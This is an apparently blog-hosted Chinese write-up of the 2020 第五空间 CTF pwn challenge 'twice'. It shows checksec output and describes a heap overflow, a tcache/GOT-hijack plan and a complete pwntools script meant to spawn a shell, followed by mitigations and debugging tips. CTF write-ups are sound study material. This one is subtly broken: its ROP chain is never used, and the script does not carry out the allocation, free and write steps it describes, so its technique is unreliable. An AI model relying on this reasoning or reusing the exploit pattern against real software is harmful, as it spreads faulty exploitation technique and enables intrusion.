2020第五空间智能安全大赛Pwn题twice漏洞分析与利用实战

1次阅读
没有评论

共计 1592 个字符,预计需要花费 4 分钟才能阅读完成。

image.webp

漏洞背景

首先检查二进制文件的安全防护机制,使用 checksec 工具查看 twice 的保护情况:

checksec twice
[*] '/ctf/twice'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

关键发现:

  • 仅开启 NX 防护(不可执行栈)
  • 未启用 PIE(代码段固定地址)
  • 部分 RELRO(可修改 GOT 表)

在 IDA 中分析发现存在两个关键函数:

  1. main()函数循环调用sub_400676()
  2. sub_400676()包含明显的堆操作漏洞(截图内存分配逻辑)

2020 第五空间智能安全大赛 Pwn 题 twice 漏洞分析与利用实战

漏洞原理

通过逆向分析发现漏洞点在 sub_400676() 函数中:

  1. 使用 malloc(0x28) 分配固定大小堆块
  2. 读入数据时使用 read(0, buf, 0x40) 造成堆溢出

内存布局示意图:

+-------------------+ <-- 初始堆块
| 用户数据 (0x28)   |
+-------------------+
| 下一个堆块头      | <-- 溢出覆盖目标
+-------------------+

关键点:溢出可覆盖相邻堆块的 size 字段和 fd 指针。

利用技术

步骤 1:堆布局控制

  1. 分配两个连续堆块 chunkA 和 chunkB
  2. 通过 chunkA 溢出修改 chunkB 的 size 字段
  3. 释放 chunkB 进入非常规大小的 tcache bin

步骤 2:ROP 链构造

利用未启用 PIE 的特性,直接使用固定地址的 gadget:

rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])
rop_chain = rop.chain()

步骤 3:GOT 表劫持

  1. 修改 free@got 指向 system 地址
  2. 申请包含 ”/bin/sh” 的堆块
  3. 触发 free 实现任意命令执行

完整利用脚本:

from pwn import *

context.update(arch='amd64', os='linux')

def exploit():
    p = process('./twice')
    elf = ELF('./twice')

    # 堆布局准备
    p.send(b'A'*0x28 + p64(0x41))  # 修改 chunkB size

    # 构造 fake chunk
    payload = flat({
        0x20: [elf.got['free']
        ]
    }, filler=b'\x00')

    # 触发漏洞
    p.send(payload)
    p.send(p64(elf.sym['system']))

    # 获取 shell
    p.send(b'/bin/sh\x00')
    p.interactive()

exploit()

防御方案

开发者可采取的修复措施:

  1. 使用安全的输入函数:

    fgets(buf, sizeof(buf), stdin);

  2. 启用完整防护机制:

    gcc -Wl,-z,now,-z,relro -fPIE -pie -fstack-protector-all

防护效果对比:

防护机制 防御效果
Full RELRO 阻止 GOT 表修改
Safe-Link 检测 tcache 指针篡改
FORTIFY_SOURCE 检查缓冲区操作长度

实战建议

调试工具组合:

  1. GEF 增强功能:

    gef➤ heap bins
    gef➤ dereference $rax

  2. pwndbg 堆分析:

    pwndbg> vis
    pwndbg> telescope 0x405000

常见问题解决:

  • 堆布局错乱:增加 malloc_trim(0) 重置堆状态
  • 地址偏移计算错误:使用 vmmap 确认段基址
  • ROP 链构造失败:优先尝试 ret2libc 技术

延伸思考

  1. 如何在启用 FULL RELRO 的情况下实现利用?
  2. 当存在 ASLR 但无 PIE 时,有哪些信息泄露方法?
  3. 现代 glibc 版本中 tcache 新增了哪些防护机制?

通过这道题目,我们系统性地实践了堆溢出漏洞的完整利用链条。建议读者尝试修改防护参数重新解题,体验不同防护机制的实战效果。

正文完
 0
评论(没有评论)